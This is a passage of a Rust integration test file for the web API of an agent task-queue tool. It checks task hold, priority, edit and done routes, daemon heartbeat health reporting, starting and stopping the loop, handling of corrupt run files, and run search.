12100 PathBuf::from("/repo/magi"),
12101 Source::Human,
12102 );
12103 queue.put(&mut task).expect("file the task");
12104 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12105
12106 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12107
12108 assert_eq!(res.status, 409);
12109 assert_eq!(
12110 queue.get(&task.id).expect("reload").status,
12111 TaskStatus::Queued,
12112 "the refused hold changed nothing"
12113 );
12114 }
12115
12116 #[tokio::test]
12117 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12118 let f = Fixture::start().await;
12119 let queue = f.queue();
12120 let mut task = Task::new(
12121 "waiting on the migration".to_owned(),
12122 "Do the thing".to_owned(),
12123 PathBuf::from("/repo/magi"),
12124 Source::Human,
12125 );
12126 queue.put(&mut task).expect("file the task");
12127
12128 let held = f
12129 .post(
12130 &format!("/api/queue/{}/hold", task.id),
12131 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12132 )
12133 .await;
12134 assert_eq!(held.status, 200, "{}", held.body);
12135 assert_eq!(held.json()["status_str"], "held");
12136 assert_eq!(
12137 held.json()["hold_reason"],
12138 "waiting for 20260101-000000-aaaa to land"
12139 );
12140
12141 let listed = f.get("/api/queue").await.json();
12142 assert_eq!(
12143 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12144 "the card reads the reason off the same list route"
12145 );
12146
12147 let mut plain = Task::new(
12150 "no reason given".to_owned(),
12151 "Do another thing".to_owned(),
12152 PathBuf::from("/repo/magi"),
12153 Source::Human,
12154 );
12155 queue.put(&mut plain).expect("file the task");
12156 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12157 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12158 assert!(held_plain.json()["hold_reason"].is_null());
12159
12160 let released = f
12161 .post(&format!("/api/queue/{}/release", task.id), None)
12162 .await;
12163 assert_eq!(released.status, 200);
12164 assert!(
12165 released.json()["hold_reason"].is_null(),
12166 "a release must clear the reason so the next hold does not inherit it"
12167 );
12168 }
12169
12170 #[tokio::test]
12171 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12172 let f = Fixture::start().await;
12173 let queue = f.queue();
12174 let mut older = Task::new(
12175 "filed first".to_owned(),
12176 "x".to_owned(),
12177 PathBuf::from("/repo/magi"),
12178 Source::Human,
12179 );
12180 older.id = "20260101-000001-aaaa".to_owned();
12181 let mut newer = Task::new(
12182 "filed second".to_owned(),
12183 "x".to_owned(),
12184 PathBuf::from("/repo/magi"),
12185 Source::Human,
12186 );
12187 newer.id = "20260101-000002-bbbb".to_owned();
12188 queue.put(&mut older).expect("file older");
12189 queue.put(&mut newer).expect("file newer");
12190
12191 let before = f.get("/api/queue").await.json();
12194 assert_eq!(before[0]["id"], newer.id);
12195 assert_eq!(before[1]["id"], older.id);
12196
12197 let raised = f
12201 .post(
12202 &format!("/api/queue/{}/priority", older.id),
12203 Some(r#"{"priority":10}"#),
12204 )
12205 .await;
12206 assert_eq!(raised.status, 200, "{}", raised.body);
12207 assert_eq!(raised.json()["priority"], 10);
12208
12209 let after = f.get("/api/queue").await.json();
12210 let names: Vec<&str> = after
12211 .as_array()
12212 .unwrap()
12213 .iter()
12214 .map(|t| t["id"].as_str().unwrap())
12215 .collect();
12216 assert_eq!(names[0], older.id, "the raised task now sorts first");
12220 }
12221
12222 #[tokio::test]
12223 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12224 let dir = TempDir::new().unwrap();
12225 let repo = dir.path().join("repo");
12226 std::fs::create_dir(&repo).unwrap();
12227 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12228 let q = Queue::at(dir.path().join("queue"));
12229 let ui = Arc::new(Ui::new(
12230 q.clone(),
12231 Questions::at(dir.path().join("questions")),
12232 Talks::at(dir.path().join("talks")),
12233 dir.path().join("runs"),
12234 dir.path().to_path_buf(),
12235 repo.clone(),
12236 ));
12237 let mut t = Task::new(
12238 "seats".into(),
12239 "keep instruction".into(),
12240 repo,
12241 Source::Human,
12242 );
12243 t.runs.push("prior-run".into());
12244 t.hold_manual(Some("waiting".into()));
12245 q.put(&mut t).unwrap();
12246 let change = |count| {
12247 queue_implementers(
12248 State(ui.clone()),
12249 Path(t.id.clone()),
12250 Ok(Json(ImplementersBody {
12251 implementers: count,
12252 })),
12253 )
12254 };
12255 for count in [2, 1, 2] {
12256 let response = change(count).await.unwrap();
12257 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
12258 let saved = q.get(&t.id).unwrap();
12259 assert_eq!(saved.implementers(), Some(usize::from(count)));
12260 assert_eq!(saved.runs, t.runs);
12261 assert_eq!(saved.instruction, t.instruction);
12262 }
12263 for count in [0, 4] {
12264 assert_eq!(
12265 change(count).await.err().unwrap().status,
12266 StatusCode::BAD_REQUEST
12267 );
12268 }
12269 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
12270 let claim = q.claim(&t.id).unwrap();
12271 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
12272 drop(claim);
12273 for status in [
12274 TaskStatus::Running,
12275 TaskStatus::Done,
12276 TaskStatus::Failed,
12277 TaskStatus::Blocked,
12278 TaskStatus::Parked,
12279 ] {
12280 let mut stored = q.get(&t.id).unwrap();
12281 stored.status = status;
12282 q.put(&mut stored).unwrap();
12283 assert_eq!(
12284 change(1).await.err().unwrap().status,
12285 StatusCode::BAD_REQUEST
12286 );
12287 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
12288 }
12289 }
12290
12291 #[tokio::test]
12292 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
12293 let f = Fixture::start().await;
12294 let queue = f.queue();
12295 let mut task = Task::new(
12296 "in flight".to_owned(),
12297 "x".to_owned(),
12298 PathBuf::from("/repo/magi"),
12299 Source::Human,
12300 );
12301 task.start("20260902-140502-bbbb".to_owned());
12302 queue.put(&mut task).expect("file the task");
12303
12304 let res = f
12305 .post(
12306 &format!("/api/queue/{}/priority", task.id),
12307 Some(r#"{"priority":9}"#),
12308 )
12309 .await;
12310 assert_eq!(res.status, 400, "{}", res.body);
12311 assert!(
12312 res.json()["error"]
12313 .as_str()
12314 .is_some_and(|e| e.contains("running")),
12315 "{}",
12316 res.body
12317 );
12318 assert_eq!(
12319 queue.get(&task.id).expect("reload").priority,
12320 0,
12321 "the refused write must not partially apply"
12322 );
12323 }
12324
12325 #[tokio::test]
12326 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
12327 let f = Fixture::start().await;
12328 let queue = f.queue();
12329 let mut task = Task::new(
12330 "old title".to_owned(),
12331 "old instruction".to_owned(),
12332 PathBuf::from("/repo/magi"),
12333 Source::Agent {
12334 run: "20260101-000000-beef".to_owned(),
12335 node: "implement".to_owned(),
12336 },
12337 );
12338 task.runs.push("20260101-000000-beef".to_owned());
12339 queue.put(&mut task).expect("file the task");
12340 let created_at = task.created_at;
12341
12342 let edited = f
12343 .post(
12344 &format!("/api/queue/{}/edit", task.id),
12345 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
12346 )
12347 .await;
12348 assert_eq!(edited.status, 200, "{}", edited.body);
12349 let body = edited.json();
12350 assert_eq!(body["title"], "new title");
12351 assert_eq!(body["instruction"], "new instruction");
12352 assert_eq!(body["id"], task.id, "editing must not mint a new id");
12353 assert_eq!(body["created_at"], created_at.to_string());
12354 assert_eq!(
12355 body["source"]["kind"], "agent",
12356 "editing a task an agent filed must not turn it human: {body}"
12357 );
12358 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
12359
12360 let reloaded = queue.get(&task.id).expect("reload");
12361 assert_eq!(reloaded.title, "new title");
12362 assert_eq!(reloaded.instruction, "new instruction");
12363 }
12364
12365 #[tokio::test]
12366 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
12367 let tmp = TempDir::new().expect("tempdir");
12370 let repo = tmp.path().join("repo");
12371 std::fs::create_dir_all(&repo).expect("repo dir");
12372 let judge = MOCK_AGENT_TOML.replace(
12373 "printf ok",
12374 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
12375 );
12376 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
12377 let f = Fixture::with_repo(repo.clone()).await;
12378 let queue = f.queue();
12379 let mut owner = Task::new(
12380 "owner".to_owned(),
12381 "review it".to_owned(),
12382 repo.clone(),
12383 Source::Human,
12384 );
12385 owner.review_branch = Some("magi/ab12/A".to_owned());
12386 queue.put(&mut owner).expect("file the owner");
12387 let mut task = Task::new(
12388 "draft".to_owned(),
12389 "old".to_owned(),
12390 repo.clone(),
12391 Source::Human,
12392 );
12393 queue.put(&mut task).expect("file the draft");
12394 let url = format!("/api/queue/{}/edit", task.id);
12395
12396 let refused = f
12397 .post(
12398 &url,
12399 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
12400 )
12401 .await;
12402 assert_eq!(refused.status, 409, "{}", refused.body);
12403 let msg = refused.json()["error"]
12404 .as_str()
12405 .unwrap_or_default()
12406 .to_owned();
12407 assert!(
12408 msg.contains("magi/ab12/A") && msg.contains("force"),
12409 "{msg}"
12410 );
12411 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
12412
12413 let forced = f
12414 .post(
12415 &url,
12416 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
12417 )
12418 .await;
12419 assert_eq!(forced.status, 200, "{}", forced.body);
12420 }
12421
12422 #[tokio::test]
12423 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
12424 let f = Fixture::start().await;
12425 let queue = f.queue();
12426 let mut task = Task::new(
12427 "in flight".to_owned(),
12428 "do not touch".to_owned(),
12429 PathBuf::from("/repo/magi"),
12430 Source::Human,
12431 );
12432 task.start("20260902-140502-bbbb".to_owned());
12433 queue.put(&mut task).expect("file the task");
12434
12435 let res = f
12436 .post(
12437 &format!("/api/queue/{}/edit", task.id),
12438 Some(r#"{"title":"x","instruction":"y"}"#),
12439 )
12440 .await;
12441 assert_eq!(res.status, 400, "{}", res.body);
12442 assert!(
12443 res.json()["error"]
12444 .as_str()
12445 .is_some_and(|e| e.contains("running")),
12446 "{}",
12447 res.body
12448 );
12449 assert_eq!(
12450 queue.get(&task.id).expect("reload").instruction,
12451 "do not touch",
12452 "the refused edit must not change the file"
12453 );
12454 }
12455
12456 #[tokio::test]
12457 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
12458 let f = Fixture::start().await;
12459 let queue = f.queue();
12460 let mut task = Task::new(
12461 "busy".to_owned(),
12462 "Running right now".to_owned(),
12463 PathBuf::from("/repo/magi"),
12464 Source::Human,
12465 );
12466 queue.put(&mut task).expect("file the task");
12467 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12468
12469 let priority = f
12470 .post(
12471 &format!("/api/queue/{}/priority", task.id),
12472 Some(r#"{"priority":9}"#),
12473 )
12474 .await;
12475 assert_eq!(priority.status, 409, "{}", priority.body);
12476
12477 let edit = f
12478 .post(
12479 &format!("/api/queue/{}/edit", task.id),
12480 Some(r#"{"title":"x","instruction":"y"}"#),
12481 )
12482 .await;
12483 assert_eq!(edit.status, 409, "{}", edit.body);
12484 }
12485
12486 #[tokio::test]
12487 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
12488 let f = Fixture::start().await;
12489 let queue = f.queue();
12490 let mut task = Task::new(
12491 "shipped by hand".to_owned(),
12492 "merged outside the loop".to_owned(),
12493 PathBuf::from("/repo/magi"),
12494 Source::Agent {
12495 run: "20260101-000000-b455".to_owned(),
12496 node: "implement".to_owned(),
12497 },
12498 );
12499 task.runs.push("20260101-000000-b455".to_owned());
12500 task.runs.push("20260101-000000-9af4".to_owned());
12501 queue.put(&mut task).expect("file the task");
12502 let created_at = task.created_at;
12503
12504 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12505 assert_eq!(done.status, 200, "{}", done.body);
12506 assert_eq!(done.json()["status_str"], "done");
12507
12508 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
12509 assert_eq!(
12510 reloaded.runs,
12511 ["20260101-000000-b455", "20260101-000000-9af4"]
12512 );
12513 assert_eq!(
12514 reloaded.source,
12515 Source::Agent {
12516 run: "20260101-000000-b455".to_owned(),
12517 node: "implement".to_owned(),
12518 }
12519 );
12520 assert_eq!(reloaded.created_at, created_at);
12521 }
12522
12523 #[tokio::test]
12524 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
12525 let f = Fixture::start().await;
12530 let queue = f.queue();
12531 let mut task = Task::new(
12532 "landed while held".to_owned(),
12533 "x".to_owned(),
12534 PathBuf::from("/repo/magi"),
12535 Source::Human,
12536 );
12537 task.hold_manual(Some("waiting on 3ed9".to_owned()));
12538 queue.put(&mut task).expect("file the held task");
12539
12540 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12541 assert_eq!(done.status, 200, "{}", done.body);
12542 assert_eq!(done.json()["status_str"], "done");
12543 assert!(
12544 done.json()["hold_reason"].is_null(),
12545 "a done task cannot still be waiting on something: {}",
12546 done.body
12547 );
12548 }
12549
12550 #[tokio::test]
12551 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
12552 let f = Fixture::start().await;
12557 let queue = f.queue();
12558 let runs = f.runs();
12559 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
12560 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
12564
12565 let mut task = Task::new(
12566 "landed by hand".to_owned(),
12567 "x".to_owned(),
12568 PathBuf::from("/repo/magi"),
12569 Source::Human,
12570 );
12571 task.runs.push("20260101-000000-doa1".to_owned());
12572 task.runs.push("20260101-000000-doa2".to_owned());
12573 queue.put(&mut task).expect("file the task");
12574
12575 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12576 assert_eq!(done.status, 200, "{}", done.body);
12577
12578 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
12579 .expect("run still on disk under this fixture's own home");
12580 assert_eq!(
12581 reloaded_run.status,
12582 RunStatus::Superseded,
12583 "closing the task by hand must relabel the earlier blocked attempt exactly \
12584 like the loop's own settle path does"
12585 );
12586 }
12587
12588 #[tokio::test]
12589 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
12590 let f = Fixture::start().await;
12595 let queue = f.queue();
12596 let runs = f.runs();
12597 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
12598 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
12599
12600 let mut task = Task::new(
12601 "closed with nothing actually landed".to_owned(),
12602 "x".to_owned(),
12603 PathBuf::from("/repo/magi"),
12604 Source::Human,
12605 );
12606 task.runs.push("20260101-000000-dob1".to_owned());
12607 task.runs.push("20260101-000000-dob2".to_owned());
12608 queue.put(&mut task).expect("file the task");
12609
12610 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12611 assert_eq!(done.status, 200, "{}", done.body);
12612
12613 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
12614 .expect("run still on disk under this fixture's own home");
12615 assert_eq!(
12616 reloaded_run.status,
12617 RunStatus::Blocked,
12618 "the last recorded attempt never landed, so the earlier one must not be \
12619 relabelled as superseded by it"
12620 );
12621 }
12622
12623 #[tokio::test]
12624 async fn unknown_ids_are_json_not_found_on_both_stores() {
12625 let f = Fixture::start().await;
12626
12627 let run = f.get("/api/runs/nosuchrun").await;
12628 let task = f.post("/api/queue/nosuchtask/hold", None).await;
12629
12630 assert_eq!(run.status, 404);
12631 assert_eq!(task.status, 404);
12632 assert!(
12633 run.json()["error"]
12634 .as_str()
12635 .is_some_and(|e| e.contains("run")),
12636 "the error names what was not found: {}",
12637 run.body
12638 );
12639 assert!(
12640 task.json()["error"]
12641 .as_str()
12642 .is_some_and(|e| e.contains("task")),
12643 "the error names what was not found: {}",
12644 task.body
12645 );
12646 }
12647
12648 #[tokio::test]
12649 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
12650 let f = Fixture::start().await;
12651
12652 let missing = f.get("/api/health").await.json();
12653 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
12654
12655 write_daemon(
12656 f.home.path(),
12657 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12658 );
12659 let stale = f.get("/api/health").await.json();
12660 assert_eq!(
12661 stale["daemon"]["running"], false,
12662 "a minute without a heartbeat is a dead daemon, not a busy one"
12663 );
12664 assert!(
12665 stale["daemon"]["stale_for_secs"]
12666 .as_i64()
12667 .is_some_and(|s| s >= 55),
12668 "staleness is reported so the UI can say how long: {stale}"
12669 );
12670
12671 write_daemon(f.home.path(), Timestamp::now());
12672 let fresh = f.get("/api/health").await.json();
12673 assert_eq!(fresh["daemon"]["running"], true);
12674 assert_eq!(fresh["daemon"]["idle"], false);
12675 assert_eq!(fresh["daemon"]["pid"], 4242);
12676 assert_eq!(fresh["daemon"]["completed"], 7);
12677 assert_eq!(
12678 fresh["daemon"]["current"][0]["task"],
12679 "20260902-140501-aaaa"
12680 );
12681 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
12682 }
12683
12684 #[tokio::test]
12685 async fn the_loop_is_not_running_until_something_starts_it() {
12686 let f = Fixture::start().await;
12687
12688 let view = f.get("/api/loop").await.json();
12689 assert_eq!(view["running"], false);
12690 assert_eq!(
12691 view["owned"], false,
12692 "nobody owns a loop that does not exist: {view}"
12693 );
12694 assert_eq!(view["stopping"], false);
12695 assert_eq!(view["last_error"], Value::Null);
12696 assert_eq!(view["daemon"]["running"], false);
12697 assert_eq!(
12698 view["repo"], "/repo/magi",
12699 "the repository a start would use, named before it is started"
12700 );
12701 }
12702
12703 #[tokio::test]
12704 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
12705 let f = Fixture::start().await;
12706
12707 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12708 assert_eq!(res.status, 200, "{}", res.body);
12709 let view = res.json();
12710 assert_eq!(view["running"], true);
12711 assert_eq!(
12712 view["owned"], true,
12713 "the loop the UI started is the UI's own to stop: {view}"
12714 );
12715 assert_eq!(
12716 view["merge"],
12717 Value::Null,
12718 "no override was given, so each repository's own config decides"
12719 );
12720
12721 let health = f.get("/api/health").await.json();
12725 assert_eq!(health["loop"]["running"], true, "{health}");
12726 assert_eq!(health["loop"]["owned"], true, "{health}");
12727
12728 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12729 }
12730
12731 #[tokio::test]
12732 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
12733 let f = Fixture::start().await;
12734 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12735 assert_eq!(first.status, 200, "{}", first.body);
12736
12737 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12738 assert_eq!(
12739 again.status, 409,
12740 "two loops on one queue race for the same claims: {}",
12741 again.body
12742 );
12743 assert!(
12744 again.json()["error"]
12745 .as_str()
12746 .is_some_and(|e| e.contains("already running the loop")),
12747 "the refusal has to say why: {}",
12748 again.body
12749 );
12750 assert_eq!(
12751 f.get("/api/loop").await.json()["running"],
12752 true,
12753 "and the loop that was already running is untouched by it"
12754 );
12755
12756 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12757 }
12758
12759 #[tokio::test]
12760 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
12761 let f = Fixture::start().await;
12762 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12763
12764 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12765 assert_eq!(
12766 res.status, 200,
12767 "the answer must not wait for the loop: a run in flight is tens of \
12768 minutes and the operator is holding a phone: {}",
12769 res.body
12770 );
12771
12772 let view = settled(&f, |v| v["running"] == false).await;
12773 assert_eq!(view["owned"], false);
12774 assert_eq!(
12775 view["stopping"], false,
12776 "a loop that has stopped is not still stopping: {view}"
12777 );
12778 assert_eq!(
12779 view["last_error"],
12780 Value::Null,
12781 "a loop that was asked to stop did not fail: {view}"
12782 );
12783
12784 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12787 assert_eq!(twice.status, 200, "{}", twice.body);
12788 }
12789
12790 #[tokio::test]
12791 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
12792 let f = Fixture::start().await;
12793 write_daemon(f.home.path(), Timestamp::now());
12796
12797 let view = f.get("/api/loop").await.json();
12798 assert_eq!(view["running"], false, "not in this process: {view}");
12799 assert_eq!(view["owned"], false, "and not this process's to control");
12800 assert_eq!(
12801 view["daemon"]["running"], true,
12802 "but a loop is alive somewhere, which is what the UI must say"
12803 );
12804 assert_eq!(view["daemon"]["pid"], 4242);
12805
12806 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
12807 let res = f.post("/api/loop", Some(body)).await;
12808 assert_eq!(
12809 res.status, 409,
12810 "neither button may pretend to work on someone else's loop: {}",
12811 res.body
12812 );
12813 assert!(
12814 res.json()["error"]
12815 .as_str()
12816 .is_some_and(|e| e.contains("4242")),
12817 "the refusal has to name the process the operator must go to: {}",
12818 res.body
12819 );
12820 }
12821 assert_eq!(
12822 f.get("/api/loop").await.json()["running"],
12823 false,
12824 "and the refusal started nothing"
12825 );
12826 }
12827
12828 #[tokio::test]
12829 async fn a_stale_status_file_is_not_a_foreign_owner() {
12830 let f = Fixture::start().await;
12831 write_daemon(
12832 f.home.path(),
12833 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12834 );
12835
12836 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12837 assert_eq!(
12838 res.status, 200,
12839 "a daemon killed a minute ago must not lock the loop out of its \
12840 own home for good: {}",
12841 res.body
12842 );
12843 assert_eq!(res.json()["running"], true);
12844
12845 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12846 }
12847
12848 #[tokio::test]
12849 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
12850 let f = Fixture::start().await;
12851 let before = f.get("/api/health").await.json()["loop_rev"]
12852 .as_u64()
12853 .expect("a loop revision");
12854
12855 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12856
12857 let after = f.get("/api/health").await.json()["loop_rev"]
12858 .as_u64()
12859 .expect("a loop revision");
12860 assert!(
12861 after > before,
12862 "the loop is in-process state, so this counter is the only thing \
12863 that tells a second device the first one started it: {before} -> \
12864 {after}"
12865 );
12866
12867 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
12868 }
12869
12870 #[tokio::test]
12871 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
12872 let f = Fixture::with_loop(launch_broken).await;
12873
12874 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12875 assert_eq!(
12876 res.status, 200,
12877 "starting it is not the failure: {}",
12878 res.body
12879 );
12880
12881 let view = settled(&f, |v| v["last_error"].is_string()).await;
12882 assert_eq!(
12883 view["running"], false,
12884 "a loop that died must not read as running, or the operator has \
12885 nothing to press: {view}"
12886 );
12887 assert_eq!(view["owned"], false);
12888 assert!(
12889 view["last_error"]
12890 .as_str()
12891 .is_some_and(|e| e.contains("read-only file system")),
12892 "the phone is where a loop that died at 3am is visible: {view}"
12893 );
12894
12895 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
12898 assert_eq!(again.status, 200, "{}", again.body);
12899 assert!(
12900 again.json()["last_error"]
12901 .as_str()
12902 .is_none_or(|e| !e.contains("read-only file system")),
12903 "a fresh start does not keep showing why the last one died: {}",
12904 again.body
12905 );
12906 }
12907
12908 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12920 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12921 let home = TempDir::new().expect("temp home");
12922 let runs = home.path().join("runs");
12923 std::fs::create_dir_all(&runs).expect("runs dir");
12924 let ui = Ui::new(
12925 Queue::at(home.path().join("queue")),
12926 Questions::at(home.path().join("questions")),
12927 Talks::at(home.path().join("talks")),
12928 runs,
12929 home.path().to_path_buf(),
12930 PathBuf::from("/repo/magi"),
12931 )
12932 .with_worktrees_root(home.path().join("wt"))
12933 .with_launch(launch_knocking_on_the_way_out);
12934 let looping = ui.looping();
12935 let turns = ui.turns();
12936 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12937 .await
12938 .expect("bind loopback");
12939 let addr = listener.local_addr().expect("local addr");
12940 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12941 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12942
12943 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12944 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12945
12946 let bound = std::sync::Mutex::new(None);
12961 hand_over(
12962 home.path(),
12963 &looping,
12964 &turns,
12965 &|_: &[String]| Duration::from_secs(5),
12966 served,
12967 |_| {
12968 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12969 let attempt = loop {
12970 match std::net::TcpListener::bind(addr) {
12971 Ok(l) => {
12972 drop(l);
12973 break Ok(());
12974 }
12975 Err(e)
12976 if e.kind() == std::io::ErrorKind::AddrInUse
12977 && std::time::Instant::now() < deadline =>
12978 {
12979 std::thread::sleep(std::time::Duration::from_millis(10));
12980 }
12981 Err(e) => break Err(e.to_string()),
12982 }
12983 };
12984 *bound.lock().expect("bound") = Some(attempt);
12985 Ok(1)
12986 },
12987 )
12988 .await
12989 .expect("hand over");
12990
12991 assert_eq!(
12992 *PARK_HEARD.lock().expect("park heard"),
12993 Some(200),
12994 "the deck must answer while the loop is parking"
12995 );
12996 let attempt = bound
12997 .lock()
12998 .expect("bound")
12999 .take()
13000 .expect("the successor was started");
13001 assert!(
13002 attempt.is_ok(),
13003 "and the address must be free by the time it is: {attempt:?}"
13004 );
13005 }
13006
13007 #[tokio::test]
13008 async fn a_newer_daemon_status_file_still_renders() {
13009 let f = Fixture::start().await;
13010 std::fs::write(
13013 f.home.path().join("daemon.json"),
13014 serde_json::json!({
13015 "schema": 2,
13016 "updated_at": Timestamp::now().to_string(),
13017 "idle": true,
13018 "surprise": { "nested": [1, 2, 3] },
13019 })
13020 .to_string(),
13021 )
13022 .expect("write daemon.json");
13023
13024 let health = f.get("/api/health").await;
13025
13026 assert_eq!(health.status, 200);
13027 assert_eq!(health.json()["daemon"]["running"], true);
13028 }
13029
13030 #[tokio::test]
13031 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
13032 let f = Fixture::start().await;
13033 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
13034 let broken = f.runs().join("20260902-140502-bad");
13035 std::fs::create_dir_all(&broken).expect("run dir");
13036 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
13037
13038 let list = f.get("/api/runs").await;
13039 let detail = f.get("/api/runs/20260902-140502-bad").await;
13040
13041 assert_eq!(list.status, 200);
13042 let listed = list.json();
13043 let ids: Vec<&str> = listed
13044 .as_array()
13045 .expect("an array")
13046 .iter()
13047 .map(|r| r["id"].as_str().expect("an id"))
13048 .collect();
13049 assert_eq!(
13050 ids,
13051 vec!["20260902-140501-good"],
13052 "one unreadable run must not cost the operator the whole history"
13053 );
13054 assert_eq!(detail.status, 500);
13055 assert!(
13056 detail.json()["error"]
13057 .as_str()
13058 .is_some_and(|e| e.contains("run.json")),
13059 "the failure names the file to look at: {}",
13060 detail.body
13061 );
13062 let health = f.get("/api/health").await;
13066 assert_eq!(health.json()["runs_unreadable"], 1);
13067 }
13068
13069 #[tokio::test]
13071 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
13072 let f = Fixture::start().await;
13073 let runs = f.runs();
13074 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
13075 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
13076 let path = runs.join("20260902-140502-bbbb").join("run.json");
13079 let mut v: serde_json::Value =
13080 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13081 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
13082 std::fs::write(&path, v.to_string()).unwrap();
13083 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
13084 std::fs::write(
13085 runs.join("20260902-140503-cccc").join("run.json"),
13086 "{ not json",
13087 )
13088 .unwrap();
13089
13090 let res = f.get("/api/search?scope=runs&q=quokka").await;
13091 assert_eq!(res.status, 200, "{}", res.body);
13092 let v = res.json();
13093 assert_eq!(v["total"], 1, "{v}");
13094 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
13095 assert_eq!(v["hits"][0]["field"], "text");
13096 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
13097 let parts = v["hits"][0]["snippet"].as_array().unwrap();
13098 assert!(
13099 parts
13100 .iter()
13101 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
13102 "{v}"
13103 );
13104 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
13105 assert_eq!(
13106 flat, "The Quokka leaks across threads",
13107 "whitespace is collapsed"
13108 );
13109
13110 let both = f
13112 .get("/api/search?scope=runs&q=MOBILE%20quokka")
13113 .await
13114 .json();
13115 assert_eq!(both["total"], 1, "{both}");
13116 let neither = f
13117 .get("/api/search?scope=runs&q=quokka%20zebra")
13118 .await
13119 .json();
13120 assert_eq!(neither["total"], 0, "{neither}");
13121 let stmt = f
13123 .get("/api/search?scope=runs&q=mobile%20first")
13124 .await
13125 .json();
13126 assert_eq!(stmt["total"], 2, "{stmt}");
13127 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
13128 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
13129 }
